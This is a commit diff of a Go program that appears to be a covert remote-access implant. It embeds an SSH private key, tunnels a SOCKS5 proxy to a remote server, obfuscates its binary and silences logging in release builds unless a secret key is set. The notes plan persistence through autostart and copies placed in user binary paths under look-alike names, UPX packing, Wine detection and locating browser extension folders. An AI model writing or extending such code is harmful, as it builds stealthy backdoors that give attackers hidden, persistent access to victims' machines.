Add VMK environment variable

Makefile

@@ -1,4 +1,4 @@
-SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go 
+SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
 GARBLE_BIN = $(shell go env GOPATH)/bin/garble
 GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
 
@@ -58,6 +58,9 @@ resources/ssh_private_key:
 resources/ssh_private_key.base64: resources/ssh_private_key
 	base64 -i $< -o $@
 
+fmt:
+	gofmt -w *.go
+
 secrets: config_release.go.base64 resources/ssh_private_key.base64
 
 .phony: clean test win

config.go

@@ -3,20 +3,27 @@ package main
 import "io"
 
 type config struct {
+	// Verbose mode key
+	//
+	// In release builds the verbose mode is silenced when this key is given
+	//  verbose mode is force enabled. The key is read from the "VMK" environment
+	//  variable at startup.
+	VerboseModeKey string
+
 	// SSH server user name
-	SSHServerUserName    string
+	SSHServerUserName string
 
 	// SSH server host and port connect to
-	SSHServerURL         string
+	SSHServerURL string
 
 	// Path to private key pem in debug builds
-	SSHPrivateKeyFile    string
+	SSHPrivateKeyFile string
 
 	// SOCKS5 listen port (when set to 0 dynamic bind)
-	SOCKS5ListenPort     int
+	SOCKS5ListenPort int
 
 	// Enable if host has SSHFP in DNS. When disabled insecure host key check is performed.
-	SSHVerifyValidSSHFP  bool
+	SSHVerifyValidSSHFP bool
 
 	// DNS client resolv.conf for fetching SSHFP records from.
 	//  Config is used when SSHVerifyValidSSHFP = true

config_template.go

@@ -1,15 +1,18 @@
 //go:build !release
 // +build !release
+
+//
 package main
 
 import "strings"
 
 var cfg config = config{
+	VerboseModeKey:      "ShowMeTheMoney",
 	SSHServerUserName:   "username",
 	SSHPrivateKeyFile:   "path/to/id_ecdsa",
 	SSHServerURL:        "myhost.org:22",
 	SOCKS5ListenPort:    13376,
-	SSHVerifyValidSSHFP: false, 
+	SSHVerifyValidSSHFP: false,
 	DNSServersResolvConf: strings.NewReader(`nameserver 8.8.8.8 
 nameserver 8.8.4.4
 `),

docs/NOTES.md

@@ -8,7 +8,23 @@
 * Rust: `C:\Users\YourUsername\.cargo\bin\rustc.exe`
 * Haskel: `C:\Users\YourUsername\AppData\Roaming\local\bin\ghc.exe`
 * FireFox: `C:\Users\<username>\AppData\Local\Mozilla Firefox\firefox.exe`
-* Chrome: `C:\Users\<username>\AppData\Local\Google\Chrome\Application\chrome.exe`
+* Chrome: `C:\Users\<username>\AppData\Local\Google\Chrome\Application`
+	* `chrome.exe`: The main executable for launching Google Chrome.
+	* `chrome_proxy.exe`: A process used for managing proxy settings in Chrome.
+	* `chrome_launcher.exe`: Typically used to start the Chrome browser with specific configurations.
+	* `chrome.dll`: While not an .exe, chrome.dll is a crucial dynamic link library file used by Chrome. (For context, it is located in the same directory or subdirectories, but it’s not an executable file.)
+	* `chrome_remote_desktop_host.exe`: If Chrome Remote Desktop is installed, this executable handles remote desktop connections.
+	* `chrome_update.exe`: An executable for updating Chrome.
+
+* Edge extensions: `C:\Users\<YourUsername>\AppData\Local\Microsoft\Edge\User Data\Default\Extensions`
+* Opera: `C:\Users\<YourUsername>\AppData\Roaming\Opera Software\Opera Stable\Extensions`
+* Firefox profile extensions: `C:\Users\<YourUsername>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\extensions`
+* Chrome extensions and components: `C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Extensions`
+
+Check if running under wine by testing if executables are present:
+
+* `.wine/drive_c/windows/syswow64/wine*.exe`
+* `.wine/drive_c/windows/system32/wine*.exe`
 
 ## Ultimate Packer for Executables (UPX)
 
@@ -26,6 +42,10 @@
   * go-autostart: shortcut in start-menu
 * Write state file of persistence to somewhere...
 
+## Debugging release build
+
+* The "VMK" environment variable is the VerboseModeKey which enables logging to stdout/stderr even in release build
+
 ## Windows
 
 * Copy to well known current user binary path to semi related filenames

main.go

@@ -133,6 +133,8 @@ func main() {
 
 	log.Println("SOCKS5 Addr", proxyServerURL)
 
+	systemGetWellKnownBinaryPaths()
+
 	for {
 	}
 }

main_debug.go

@@ -1,5 +1,7 @@
 //go:build !release
 // +build !release
+
+//
 package main
 
 var resourceSSHPrivateKey string

main_release.go

@@ -1,14 +1,20 @@
 //go:build release
 // +build release
+
+//
 package main
 
 import (
 	_ "embed"
+	"os"
 )
 
 //go:embed resources/ssh_private_key
 var resourceSSHPrivateKey string
 
 func init() {
-	systemSilenceAllLogging()
+	dontSilenceKey := os.Getenv("VMK")
+	if dontSilenceKey != cfg.VerboseModeKey {
+		systemRouteAllLogging(os.DevNull)
+	}
 }

system.go

@@ -1,15 +1,15 @@
 package main
 
 import (
-	"os"
 	"fmt"
 	"log"
+	"os"
+	"path/filepath"
 )
 
-// Silence all logging
-func systemSilenceAllLogging() {
-	// Open /dev/null for writing
-	nullFile, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0666)
+// Route all logging
+func systemRouteAllLogging(logfile string) {
+	nullFile, err := os.OpenFile(logfile, os.O_WRONLY, 0666)
 	if err != nil {
 		fmt.Println("Error opening /dev/null:", err)
 		return
@@ -22,3 +22,73 @@ func systemSilenceAllLogging() {
 	// Redirect log facility to /dev/null
 	log.SetOutput(nullFile)
 }
+
+func systemGetAppDataPath() string {
+	return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
+}
+
+// systemCheckDirExists checks if the directory at the given path exists.
+func systemIsDirExisting(path string) bool {
+	// Get file info
+	info, err := os.Stat(path)
+	if err != nil {
+		// If the error is due to the file not existing, return false
+		if os.IsNotExist(err) {
+			return false
+		}
+		// For any other errors, you may want to handle them as needed
+		return false
+	}
+
+	// Check if the info corresponds to a directory
+	return info.IsDir()
+}
+
+func systemIsFileExisting(path string) bool {
+	// Get file info
+	info, err := os.Stat(path)
+	if err != nil {
+		// If the error is due to the file not existing, return false
+		if os.IsNotExist(err) {
+			return false
+		}
+		// For any other errors, you may want to handle them as needed
+		return false
+	}
+
+	// Check if the info corresponds to a regular file
+	return !info.IsDir()
+}
+
+func systemGetWellKnownBinaryPaths() []string {
+	var existingPaths []string
+
+	appDataPath := systemGetAppDataPath()
+	if ok := systemIsDirExisting(appDataPath); !ok {
+		log.Println("\t❌", appDataPath)
+	}
+
+	wellKnownPathsToCheck := []string{
+		filepath.Join(appDataPath, "Local", "Programs", "Python"),           // TODO search python installations
+		filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
+	}
+
+	homeDirectory, err := os.UserHomeDir()
+	if err == nil {
+		homeDirPathsToCheck := []string{
+			filepath.Join(homeDirectory, "go", "bin"),
+		}
+		wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
+	}
+
+	for _, path := range wellKnownPathsToCheck {
+		if ok := systemIsDirExisting(path); ok {
+			existingPaths = append(existingPaths, path)
+			log.Println("\t✅", path)
+		} else {
+			log.Println("\t❌", path)
+		}
+	}
+
+	return existingPaths
+}